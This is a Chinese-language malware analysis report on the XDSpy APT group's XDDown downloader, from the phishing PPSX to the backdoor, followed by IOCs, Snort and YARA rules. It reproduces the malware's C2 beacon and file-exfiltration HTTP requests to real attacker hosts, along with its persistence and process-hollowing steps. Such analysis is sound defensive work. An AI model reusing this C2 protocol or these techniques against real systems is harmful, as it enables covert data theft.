隐身9年的俄罗斯APT组织XDSpy及其XDDown攻击链分析
隐身9年的俄罗斯APT组织XDSpy及其XDDown攻击链分析
- 样本分析
- 执行流程
- 样本详细分析
- 钓鱼邮件恶意附件PPSX
- 自动播放的恶意对象MicrosoftPowerPoint.js
- 脚本对象释放的恶意可执行文件WINlogon.exe
- 负责网络通信的线程
- 溯源/关联分析
- V1版本XDDown
- 线程
- 1.whowhat.php
- 2.delfi.php
- 俄罗斯与漏洞CVE-2014-4114
- ATTCK框架中关键技术点
- 样本中特殊字符串
- 文件路径
- 总结
- 参考链接
- 规则
- 沙箱规则
- 流量规则/SNORT/MTX/IDS
- YARA规则
样本分析
投递手法 - 钓鱼邮件+恶意附件压缩包
通过钓鱼邮件投递针对俄罗斯人的邮件,以失物认领为主题的武器化PPSX格式的附件,诱骗收件人下载打开,打开后会执行JS脚本“MicrosoftPowerPoint.js”,释放并执行PE文件:
执行流程
样本详细分析
钓鱼邮件恶意附件PPSX
由于PPSX格式的攻击载荷比较少见,此处简单介绍一下该格式与PPTX格式的区别:
PPTX:普通可编辑模式。打开后呈现的页面就是可编辑的页面,要播放需要单击播放按钮才能全屏播放。
PPSX:放映格式。打开后直接就是全屏放映,没法编辑。
即:PPTX全屏放映的时候就是PPSX的样子,但是PPSX是没法直接编辑的,打开就是全屏放映,放映结束后直接退出。
通过修改PPSX文件的后缀名为“PPT”进入查看格式,可以清楚的看到,在第一张幻灯片出有一“动画”效果的设置,并有一对象被缩小到极致,放在首页全黑的幻灯片外:
放大后发现这是一个名为“MicrosoftPowerPoint.js”的“Packager Shell Object对象”:
该执行方式,搜索后发现是Windows OLE 远程执行代码漏洞CVE-2014-4114:
通过文件路径“C:\Users\As\AppData\Local\Temp\MicrosoftPowerPoint.js”可以发现计算机使用者的用户名是“As”:
自动播放的恶意对象MicrosoftPowerPoint.js
该脚本文件是一个经过混淆的Dropper脚本:
将其还原之后主要功能如下:
1.Base64编码处理后的PE文件数据,其中部分字母被转换为10进制
2.拼凑出工作目录字符串“%APPDATA%\WINinit”,检测是否存在该路径,不存在则创建该目录
3.拼凑出文件字符串“%APPDATA%\WINinit\orsnet”和“%APPDATA%\WINinit\WINlogon.exe”,并检测是否存在。如果不存在:将PE文件的数据保存到“%APPDATA%\WINinit\orsnet”,后移动到“%APPDATA%\WINinit\WINlogon.exe”
4.“%APPDATA%\WINinit\WINlogon.exe”将写入注册表“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit”
5.运行“WINlogon.exe”
脚本对象释放的恶意可执行文件WINlogon.exe
创建互斥体“winsysmcc”,保持运行的唯一性。接着获取计算机名和用户名进行拼接,为了规避检测,将该字符串进行简单的恺撒加密处理(将(B-Y,b-y,1-8)都后移一位,如C→D),写入到文件“%AppData%\Explorer\idf.dat”中:
同样的,为了反静态编译,该程序使用的大多字符串经过恺撒加密。
然后会以读取模式尝试打开文件“%AppData%\Explorer\slp.dat”,由于本程序中无对该文件的写入模式打开的代码,以及其中数据的使用代码,和文件名,故推测为其他组件写入的控制休眠时间的配置文件(slp = Sleep):
再接着以读取模式尝试打开文件“%AppData%\Explorer\adrun.dat”,依旧推测为其他组件写入的配置文件,用来存放需要自动运行的程序路径。其中数据存放的结构为两位的字段+“ShellExecuteW需要运行的文件名”(adrun = AddRun,路径依旧为工作目录“%AppData%\Explorer\”):
执行完这些本地文件的操作后,调用“CreateThread”执行线程,线程主要功能以网络通信为主。
负责网络通信的线程
运行解密出数据段中的字符串后拼凑出HTTP报文:
向远程服务器的“/whowhat.php”接口,发送上线包,传递受感染计算机的信息。构建的GET方法的报文内容如下,“me”字段的信息为计算机标识,结构为[凯撒加密后的ComputerName]_[凯撒加密后的UserName][Tick_Count]V7,其中的V7结合以往历史样本分析,推测为程序的内部版本标识,下文的溯源部分再详细展开:
GET /whowhat.php?me=DPNQVUFSOBNF_1375866V7 HTTP/1.1
Accept-Language: ru
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
Host: 95.215.60.53
接着在内存中申请0x100000字节大小的空间用于存放数据,尝试连接远程服务器不同的接口获取数据:
GET /[计算机标识]V7.xd[1-3]?pr=[GetTickCount] HTTP/1.1
将从远程服务器获取数据并异或解密(XOR 0x11或0x16)保存到内存中,完成后检测解密出的数据头部是否为可执行文件的MZ头:
如果文件是PE结构的文件,以当前程序文件路径创建傀儡进程,通过设置线程环境,执行写入到内存中的恶意代码:
这是一种“Living off the land Binaries(LotL)”技术,利用内存的易失性,让恶意的数据只在运行时存在,一旦进程结束或者关机,注入的代码被全部清除。
至此,本攻击链主要的逻辑已完整,释放的主要载荷为负责下载可PE文件执行,并上传计算机信息的后门程序,其他组件部分结合溯源到的早前样本,进行功能推测。
溯源/关联分析
通过URL中特殊的字符串“/whowhat.php?me=”,关联到下载器的古老版本XDDown和其他XDSpy的恶意组件,多个字符串相同并且代码逻辑相似度也极高,本报告不再赘述:
V1版本XDDown
从上述的开源情报溯源过程中,发现一XDDown早前样本,逆向分析时发现的URL中包含字符串“V1”,推测该文件为XDDown的初始版本。程序执行起来后首先会创建名为“winsysms”的互斥体(V7版本中为“winsyscc”),检测是否存在,以确保程序唯一运行的状态。
接着和V7版本一样,将会获取计算机名和用户名,将拼接出的字符串进行后移一位恺撒加密后,再拼接上“V1”,构成“[凯撒加密后的ComputerName][凯撒加密后的UserName]V1”:
解密方式还是后移一位的恺撒加密,不过V7版本中已多增加了对数字的处理:
然后创造一个目录用于存放程序工作中需要使用的文件。先获取环境变量“APPDATA”的路径与字符串“Explorer”拼凑出路径“C:\Users\Administrator\AppData\Roaming\Explorer”,调用“CreateDirectoryW”创建该目录,该工作路径和V7版本一致:
接着会对比当前文件的路径是否包含“\Explorer”,检测程序是否在工作目录中。如果不在,则将当前程序文件复制到指定的路径“C:\Users\Administrator\AppData\Roaming\Explorer\browsms.exe”:
将可执行文件复制到指定的工作目录路径下之后,为了该文件的建立持久性,会在Run键下新建一个子项“msprotect”,将“%APPDATA%\Explorer\browsms.exe”写入:
Explorer键也是同样写入“%APPDATA%\Explorer\browsms.exe”,依旧是以为保持持久性的操作:
“RegisterClassEx”注册一个窗口类“winsysms”,随后调用“CreateWindowExW”使用该窗口类创建窗口。接着通过“CreateThread”创建线程执行主要的功能,与远程服务器进行连接。
线程
线程中会构建不同的GET方法的HTTP报文,与远程服务器不同的接口完成数据的传输。比较特殊的是,其中“Accept-Language”字段的值为“ru”,即俄罗斯英文Russia的缩写:
1.whowhat.php
构建GET方法的HTTP报文,以“me”字段传输“[凯撒加密后的ComputerName][凯撒加密后的UserName]V1”,将计算机信息和用户信息发送给远程服务器“omgtech.000space.com”:
GET /whowhat.php?me=[凯撒加密后的ComputerName][凯撒加密后的UserName]V1 HTTP/1.1
下载数据解密为可执行文件并启用:
1.1拼接出“%APPDATA%\Explorer\dwn.dat”字符串,会尝试删除该文件,作为上次工作后的环境清理。接下来将储存解密出的可执行文件;
1.2拼接出“%APPDATA%\Explorer\fin.dat”字符串,以写入方式打开该文件,写入用“InternetReadFile”读取到的远程服务器“http://omgtech.000space.com/[凯撒加密后的ComputerName][凯撒加密后的UserName]V1.xd”中的数据;
1.3读取“fin.dat”的数据后进行简单的异或解密处理(XOR 0x16),然后保存为文件“dwn.dat”,完成后删除“fin.dat”,调用“CreateProcessW”执行:
2.delfi.php
构建GET方法的HTTP报文发送到远程服务器的“delfi.php”接口:
GET /delfi.php?name=[凯撒加密后的ComputerName][凯撒加密后的UserName]V1.xd
拼接出“%APPDATA%\Explorer\toup.dat”字符串,读取该文件,但是该文件在此程序中并没有创建以及写入的操作,故推测认为是上一步中解密出的可执行文件所创建的。
构建POST方法的HTTP报文,具体如下:
POST //filepost.php HTTP/1.1
Host: omgtech.000space.com
Accept: image/gif, image/jpeg,*/*
Accept-Language: ru
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11;U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
name=aabb[GetTickCount]&usid=[凯撒加密后的ComputerName][凯撒加密后的UserName]V1&part=[[0-9]*$]
“part”传输的值为变量,由于读取文件之前会以“KaTeX parse error: Expected 'EOF', got '#' at position 29: …,传输文件全部读取结束后会以“#̲”发送一次。故认为“)”是文件边界(boundary)的开始字符串,“#”为文件边界结束字符串。
读取“toup.dat”中的内容以“%.2x”的格式打印,传入包含“send”的函数,与“&part=[%.2x]”拼接后发送:
上传后返回删除“toup.dat”。
至此,完成了上传计算机信息,下载执行可执行文件,上传指定文件后删除。通过代码逻辑可以推测,该可执行程序是一个由后门下载器为主要载荷的多组件攻击链,具体内容将在总结中展开。
俄罗斯与漏洞CVE-2014-4114
国外安全机构iSIGHT警告称,一个名为“沙虫”的俄罗斯黑客组织攻击了北约、乌克兰等目标,“沙虫”使用的CVE-2014-4114漏洞。
搜索发现使用该漏洞进行攻击活动的APT组织,大多与俄罗斯以及其周边国家相关,并非独用,但可作为参考:
ATTCK框架中关键技术点
T1001.001(数据混淆.垃圾数据):攻击者利用混淆后的JS脚本释放和执行PE文件
T1041(C2通道):攻击者以通过C2通道窃取数据
T1059.007(JavaScript/JScript):攻击者通过JS文件执行恶意代码
T1132.001(数据编码.标准编码):攻击者使用Base64对数据进行解码
T1140(去模糊/解码文件或信息):攻击者最终将通过Base64解密,释放可执行文件
T1204.002(用户执行.恶意文件):依靠用户打开钓鱼邮件中的附件(武器化的XLS)来获得执行
T1547.001(启动或登录自动启动执行.注册表运行键/启动文件夹):攻击者通过在Run键设置指向可执行文件建立持久化
T1566.001(网络钓鱼.附件):攻击者通过伪装为失物认领的信息发送钓鱼邮件,诱骗收件人下载附件打开
样本中特殊字符串
字符串 | 含义/作用 |
---|---|
$ | HTTP报文中开始文件边界字符串 |
# | HTTP报文中结束文件边界字符串 |
.xd | URL中使用的字符串 |
aabb | HTTP报文中文件边界字符串 |
Asus | 文档的编辑者(可能是某品牌电脑默认用户名) |
winsyscc | 失物认领(V7)版本互斥体名称 |
winsysms | 最老版本(V1)互斥体名称 |
omgtech.000space.com | C2域名 |
\Explorer | 工作目录 |
\dwn.dat | 文件名 - 可执行文件 |
\fin.dat | 文件名 - 下载的文件 |
\toup.dat | 文件名 - 上传的文件 |
\browsms.exe | 文件名 - 持久化的文件 |
msprotect | 注册表子键名 |
文件路径
%APPDATA%\Temp.NET\archset.dat
%APPDATA%\Temp.NET\hdir.dat
%APPDATA%\Temp.NET\list.dat
%TEMP%\tmp%YEAR%%MONTH%%DAY%_%TICK_COUNT%.s
%TEMP%\fl637136486220077590.data
wgl.dat
Windows Broker Manager.dat
%TEMP%\Usermode COM Manager.dat
%TEMP%\Usermode COM Manager.exe
%APPDATA%\WINinit\WINlogon.exe
%APPDATA%\msprotectexp\mswinexp.exe
%APPDATA%\msvdemo\msbrowsmc.exe
%APPDATA%\Explorer\msdmcm6.exe
%APPDATA%\Explorer\browsms.exe
总结
通过代码逻辑可以推测释放的可执行程序是一个由后门下载器为主体多组件攻击链。
V1版本中,可执行的组件“dwn.dat”(Down缩写),通过连接远程服务器获取数据(“fin.dat”)后解密得来,并作为“CreateProcessW”的参数,那么可以推断出该文件实际为可执行程序。根据后续代码推测,应该是“toup.dat”的父文件。
再利用被窃数据文件“toup.dat”(ToUpload缩写)的全路径(%APPDATA%\Explorer\toup.dat)搜索,并未发现样本,故认为该文件的父文件为没有联网功能的数据收集器,并会在执行完成后删除。
而升级到V7版本时,功能拆分的更加精细,除了可执行的文件和保存需要窃取的信息文件外,还新增了配置文件。反调试和反静态分析能力加强,不过由于组件文件名的缩写具有可推测性,故该攻击链比较清晰,是通过多组件和自删除的组合模式进行数据的窃取。将包含网络传输功能的代码汇集到一个可执行文件中,由该程序进行上传下载,其他组件负责单独的功能,如数据收集,睡眠配置、自启动程序配置等。但由于组件包含完成后自删除代码,并且没有联网行为,故至今尚未有样本存档。
V1至V7版本升级过程中,其他组件的运行方式也从下载文件到本地后执行再删除,变为了下载数据保存到内存中以傀儡进程的方式运行代码。V7这种无(新增)文件落地的方式可以更好的避免被安全软件发现和电子取证,极具隐蔽性。
值得一提的是,其URL字符串“V1.xd”和“V7.xd”,具有可推测可预见性“V[0-9]*$.xd”,可设置流量规则。如果有足够的环境和条件,可以筛选出XDDown历史的样本数据。
具国外安全厂商报告,该组织已活动从2011年活动至今才被披露,这9年期间的历史攻击却无法将其分类到任何已知的APT组织,且与目前已知的APT组织代码无相似性,网络资产也无重叠,可以发现这是一个独立性很高的隐蔽的APT组织。但通过其钓鱼邮件的语言和HTTP报文中的“Accept-Language”字段,可以确定攻击者可能来自俄语地区。
参考链接
《XDSpy: Stealing government secrets since 2011》
规则
沙箱规则
Mutexes Created
winsysmcc
Files Opened
%APPDATA%\Explorer\idf.dat
%APPDATA%\Application Data\Explorer\slp.dat
%APPDATA%\Application Data\Explorer\adrun.dat
Files Written
%APPDATA%\Explorer\idf.dat
流量规则/SNORT/MTX/IDS
固定的:/whowhat.php?me=
变化的:
V1.xd
V7.xd1?pr=
可泛化为V[0-9]*$.xd,考虑到误报,建议数字部分修改为非0开头的两位数字,[1-9](\d){1}
即V[1-9](\d){1} .xd
YARA规则
import "pe"rule APT_XDSpy_XDDown_V7
{meta:description = "APT_XDSpy_XDDown_V7"Author = "建瓯最坏"MD5 = "1DFDBBD213455996A83A5B875C74DA6F"strings:$HexCreateMutexWinsysmcc = { 8B 0D 88 26 58 00 51 6A 01 6A 00 FF 15 58 A0 41 00 }$datAdrun = { 26 00 74 00 5D 00 62 00 65 00 73 00 76 00 6F 00 2F 00 65 00 62 00 75 }$datSlp = { 26 00 74 00 5D 00 74 00 6D 00 71 00 2F 00 65 00 62 00 75 }condition:pe.is_32bit()and all of them
}
import "pe"rule APT_XDSpy:XDDown_V1
{meta:description = "APT_XDSpy_XDDown_V1"Author = "建瓯最坏"MD5 = "432AF428B011A488D0F2F62EFE195BD4"strings:$Winsysms = "Winsysms" nocase wide$Data1 = "<!DOC"$Data2 = "<HTML>"$File1 = "\\toup.dat" wide$File2 = "\\dwn.dat" wide$File3 = "\\fin.dat" wide$HTTP1 = "whowhat.php"$HTTP2 = "me"$HTTP3 = "delfi.php"$HTTP4 = "name"$HTTP5 = "POST /%s/filepost.php HTTP/1.1"$HTTP6 = "name=%s&usid=%s&part=%s"condition:pe.is_32bit()and all of ($Data*)and 2 of ($File*)and 4 of ($HTTP*)and 6 of themand pe.imports( "ADVAPI32.dll" , "GetUserNameA" )and pe.imports( "Kernel32.dll" , "GetComputerNameA" )and pe.imports( "Kernel32.dll" , "CreateDirectoryW" )and pe.imports( "WININET.dll" , "InternetReadFile" )
}
隐身9年的俄罗斯APT组织XDSpy及其XDDown攻击链分析相关推荐
- Hermit(隐士)APT组织2020年最新攻击活动分析
- 朝鲜APT组织使用带后门IDA软件攻击安全研究人员
2021年初,朝鲜APT组织Lazarus通过养推特大V账号,配合定制开发的恶意软件+0day漏洞针对安全研究人员进行了一系列的网络攻击活动,详细可见:通过社交媒体针对安全研究人员的社会工程学攻击活动 ...
- [译] APT分析报告:03.OpBlueRaven揭露APT组织Fin7/Carbanak(上)Tirion恶意软件
这是作者新开的一个专栏,主要翻译国外知名的安全厂商APT报告文章,了解它们的安全技术,学习它们溯源APT组织的方法,希望对您有所帮助.前文分享了钓鱼邮件网址混淆URL逃避检测,这篇文章将介绍APT组织 ...
- APT 组织将目标锁定Linux
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 卡巴斯基全球研究分析团队 (GReAT) 研究发现,过去八年来,APT 组织针对 Linux 资源的攻击活动稳步增长,越来越多的 AP ...
- 技术报告:APT组织Wekby利用DNS请求作为CC设施,攻击美国秘密机构
技术报告:APT组织Wekby利用DNS请求作为C&C设施,攻击美国秘密机构 最近几周Paloalto Networks的研究人员注意到,APT组织Wekby对美国的部分秘密机构展开了一次攻击 ...
- 【安全漏洞】朝鲜InkySquid APT组织是怎么利用浏览器漏洞感染受害者
朝鲜InkySquid APT组织利用浏览器漏洞感染受害者. 2021年4月,Volexity研究人员识别出了通过www.dailynk[.]com网站加载到恶意子域名的jquery[.]servic ...
- 新型APT组织正在攻击全球的政府实体
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 ESET 公司称发现一个新型 APT 组织正在攻击全球范围内的实体,该组织被命名为 "FamousSparrow". 该 A ...
- APT组织最喜欢的工具 Cobalt Strike (CS) 实战
一.Cobalt Strike 背景 Cobalt Strike 在威胁攻击者的恶意活动中的使用次数正在增加.从 2019 年到 2020 年,使用Cobalt Strike 的威胁攻击者增加了 16 ...
- 南亚Patchwork APT组织新活动特点分析
知道创宇404实验室APT高级威胁情报团队,K &NaN 01 概述 Patchwork是自 2015 年 12 月以来一直活跃的南亚APT组织.该组织长期针对中国.巴基斯坦等南亚地区国家的政 ...
最新文章
- re:Invent大会第四天:为什么Lambda值得你更多关注?
- 常用 CSS 选择器
- 解决AndroidStudio导入项目卡在gradle加载界面
- 机器学习实战第15章pegasos算法原理剖析以及伪代码和算法的对应关系
- 公司重金求数据分析师:为什么90%的公司都需要它?
- 搜狗地图2016-Android-社招笔试题(包含Java基础部分)
- Myeclipse学习总结(14)——Eclipse/MyEclipse中Java编译时Java反射机形参没有保留问题2种解决方案
- 经典排序算法 - 希尔排序Shell sort
- caffe和caffe-yolov3编译出错:fatal error: caffe/proto/caffe.pb.h: No such file or directory
- 拓端tecdat|R语言中使用非凸惩罚函数回归(SCAD、MCP)分析前列腺数据
- 替换WIN键和Ctrl键
- 女性三围的检测验证js-------格式 20,30,40
- 在印度与软件相关的发明可不可以申请专利?
- python 人脸识别:从入门到精通 (5.4)常用的神经网络层
- Mysql数据库简要介绍
- [软件测试] 开卷有益—推荐阅读书单
- 赛门铁克、思科、FireEye、微软等公司联手对抗Hidden Lynx组织
- LAP, UTKFace,webface, morph II 人脸数据集
- win11系统截图的几种方法
- 银行数据采集,数据补录与指标管理3大问题如何解决?